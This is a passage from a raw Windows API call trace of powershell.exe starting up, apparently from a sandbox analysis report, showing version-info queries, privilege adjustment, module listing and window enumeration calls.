ProcessorArchitecture=msil") returned 0xfe [0075.923] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0075.923] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0075.923] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0077.113] GetVersionExW (in: lpVersionInformation=0x24dc20*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24dc20*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0077.116] GetVersionExW (in: lpVersionInformation=0x24dc20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24dc20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0077.140] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d840, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0077.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0077.182] GetVersionExW (in: lpVersionInformation=0x24d990*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24d990*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0077.183] SetErrorMode (uMode=0x1) returned 0x1 [0077.184] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x24daf0 | out: lpFileInformation=0x24daf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0077.186] SetErrorMode (uMode=0x1) returned 0x1 [0077.407] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x24dd60 | out: lpdwHandle=0x24dd60) returned 0x94c [0077.431] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c37248 | out: lpData=0x2c37248) returned 1 [0077.434] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24dcd8, puLen=0x24dcd0 | out: lplpBuffer=0x24dcd8*=0x2c372e4, puLen=0x24dcd0) returned 1 [0077.437] lstrlenW (lpString="䅁") returned 1 [0077.485] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c373c0, puLen=0x24dc40) returned 1 [0077.485] lstrlenW (lpString="Microsoft Corporation") returned 21 [0077.488] CoTaskMemAlloc (cb=0x2e) returned 0x1b5d10 [0077.488] lstrcpyW (in: lpString1=0x1b5d10, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0077.489] CoTaskMemFree (pv=0x1b5d10) [0077.489] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c37414, puLen=0x24dc40) returned 1 [0077.489] lstrlenW (lpString="System.Management.Automation") returned 28 [0077.489] CoTaskMemAlloc (cb=0x3c) returned 0x1b1660 [0077.489] lstrcpyW (in: lpString1=0x1b1660, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0077.489] CoTaskMemFree (pv=0x1b1660) [0077.489] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c37470, puLen=0x24dc40) returned 1 [0077.489] lstrlenW (lpString="6.1.7601.17514") returned 14 [0077.489] CoTaskMemAlloc (cb=0x20) returned 0x1bf430 [0077.489] lstrcpyW (in: lpString1=0x1bf430, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0077.489] CoTaskMemFree (pv=0x1bf430) [0077.489] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c374b0, puLen=0x24dc40) returned 1 [0077.489] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0077.489] CoTaskMemAlloc (cb=0x44) returned 0x1b1660 [0077.489] lstrcpyW (in: lpString1=0x1b1660, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0077.489] CoTaskMemFree (pv=0x1b1660) [0077.489] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c37518, puLen=0x24dc40) returned 1 [0077.489] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0077.489] CoTaskMemAlloc (cb=0x76) returned 0x150fd0 [0077.489] lstrcpyW (in: lpString1=0x150fd0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0077.489] CoTaskMemFree (pv=0x150fd0) [0077.489] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c375b4, puLen=0x24dc40) returned 1 [0077.489] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0077.489] CoTaskMemAlloc (cb=0x44) returned 0x1b1660 [0077.489] lstrcpyW (in: lpString1=0x1b1660, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0077.490] CoTaskMemFree (pv=0x1b1660) [0077.490] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c37618, puLen=0x24dc40) returned 1 [0077.490] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0077.490] CoTaskMemAlloc (cb=0x58) returned 0x111350 [0077.490] lstrcpyW (in: lpString1=0x111350, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0077.490] CoTaskMemFree (pv=0x111350) [0077.490] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c37694, puLen=0x24dc40) returned 1 [0077.490] lstrlenW (lpString="6.1.7601.17514") returned 14 [0077.490] CoTaskMemAlloc (cb=0x20) returned 0x1bf430 [0077.490] lstrcpyW (in: lpString1=0x1bf430, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0077.490] CoTaskMemFree (pv=0x1bf430) [0077.490] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x2c3733c, puLen=0x24dc40) returned 1 [0077.490] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0077.490] CoTaskMemAlloc (cb=0x66) returned 0x1afb60 [0077.490] lstrcpyW (in: lpString1=0x1afb60, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0077.490] CoTaskMemFree (pv=0x1afb60) [0077.490] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x0, puLen=0x24dc40) returned 0 [0077.490] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x0, puLen=0x24dc40) returned 0 [0077.490] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x24dc48, puLen=0x24dc40 | out: lplpBuffer=0x24dc48*=0x0, puLen=0x24dc40) returned 0 [0077.490] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24dc18, puLen=0x24dc10 | out: lplpBuffer=0x24dc18*=0x2c372e4, puLen=0x24dc10) returned 1 [0077.498] CoTaskMemAlloc (cb=0x204) returned 0x1707b0 [0077.498] VerLanguageNameW (in: wLang=0x0, szLang=0x1707b0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0077.499] CoTaskMemFree (pv=0x1707b0) [0077.499] VerQueryValueW (in: pBlock=0x2c37248, lpSubBlock="\\", lplpBuffer=0x24dc68, puLen=0x24dc60 | out: lplpBuffer=0x24dc68*=0x2c37270, puLen=0x24dc60) returned 1 [0077.729] GetCurrentProcessId () returned 0xd50 [0077.818] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x24cb90 | out: lpLuid=0x24cb90*(LowPart=0x14, HighPart=0)) returned 1 [0077.822] GetCurrentProcess () returned 0xffffffffffffffff [0077.823] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x24cbb0 | out: TokenHandle=0x24cbb0*=0x2ec) returned 1 [0077.831] AdjustTokenPrivileges (in: TokenHandle=0x2ec, DisableAllPrivileges=0, NewState=0x2c3aac0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0077.835] CloseHandle (hObject=0x2ec) returned 1 [0077.855] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd50) returned 0x2ec [0077.886] EnumProcessModules (in: hProcess=0x2ec, lphModule=0x2c3ab28, cb=0x200, lpcbNeeded=0x24dbc8 | out: lphModule=0x2c3ab28, lpcbNeeded=0x24dbc8) returned 1 [0077.896] GetModuleInformation (in: hProcess=0x2ec, hModule=0x13fdb0000, lpmodinfo=0x2c3ad98, cb=0x18 | out: lpmodinfo=0x2c3ad98*(lpBaseOfDll=0x13fdb0000, SizeOfImage=0x77000, EntryPoint=0x13fdbc63c)) returned 1 [0077.897] CoTaskMemAlloc (cb=0x804) returned 0x1c16b0 [0077.897] GetModuleBaseNameW (in: hProcess=0x2ec, hModule=0x13fdb0000, lpBaseName=0x1c16b0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0077.897] CoTaskMemFree (pv=0x1c16b0) [0077.898] CoTaskMemAlloc (cb=0x804) returned 0x1c16b0 [0077.898] GetModuleFileNameExW (in: hProcess=0x2ec, hModule=0x13fdb0000, lpFilename=0x1c16b0, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0077.898] CoTaskMemFree (pv=0x1c16b0) [0077.899] CloseHandle (hObject=0x2ec) returned 1 [0077.911] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xd50) returned 0x2ec [0077.913] GetExitCodeProcess (in: hProcess=0x2ec, lpExitCode=0x24dcf8 | out: lpExitCode=0x24dcf8*=0x103) returned 1 [0077.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12c3b088, Length=0x20000, ResultLength=0x24dcc0 | out: SystemInformation=0x12c3b088, ResultLength=0x24dcc0*=0x13388) returned 0x0 [0077.950] EnumWindows (lpEnumFunc=0x2a066ac, lParam=0x0) returned 0 [0077.952] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.952] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.952] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.952] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x50c [0077.952] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x5a4 [0077.952] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.952] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x45c [0077.953] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.953] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.954] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xce0 [0077.954] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbc8 [0077.954] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.954] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xb30 [0077.955] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.955] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xbdc [0077.955] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.955] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xb20 [0077.956] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xb10 [0077.956] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xb00 [0077.956] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xaf0 [0077.956] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xadc [0077.956] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xacc [0077.956] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xabc [0077.956] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xaac [0077.956] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa9c [0077.956] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa8c [0077.956] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa7c [0077.957] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa6c [0077.957] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa5c [0077.957] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa48 [0077.957] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa38 [0077.957] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa28 [0077.957] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa18 [0077.957] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xa08 [0077.957] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x9f8 [0077.957] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x9e8 [0077.957] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x9d8 [0077.958] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x9c8 [0077.958] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x9b8 [0077.958] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x9a8 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x998 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x988 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x978 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x968 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x958 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x948 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x938 [0077.958] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x928 [0077.959] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x918 [0077.959] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x908 [0077.959] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x8f8 [0077.959] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x8e8 [0077.959] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x8d8 [0077.959] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x8c8 [0077.960] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x8b8 [0077.960] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x8a8 [0077.960] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x898 [0077.960] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x888 [0077.960] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x878 [0077.960] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x868 [0077.961] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x858 [0077.961] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x848 [0077.961] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x838 [0077.961] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x828 [0077.961] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x818 [0077.961] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x804 [0077.961] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x40c [0077.961] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xc0 [0077.961] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x2c4 [0077.961] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x564 [0077.961] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x520 [0077.962] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4f8 [0077.962] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x528 [0077.962] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xc4 [0077.962] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x414 [0077.962] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x688 [0077.962] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x6a8 [0077.962] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x188 [0077.962] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x7e4 [0077.962] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x574 [0077.962] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x770 [0077.963] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x468 [0077.963] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 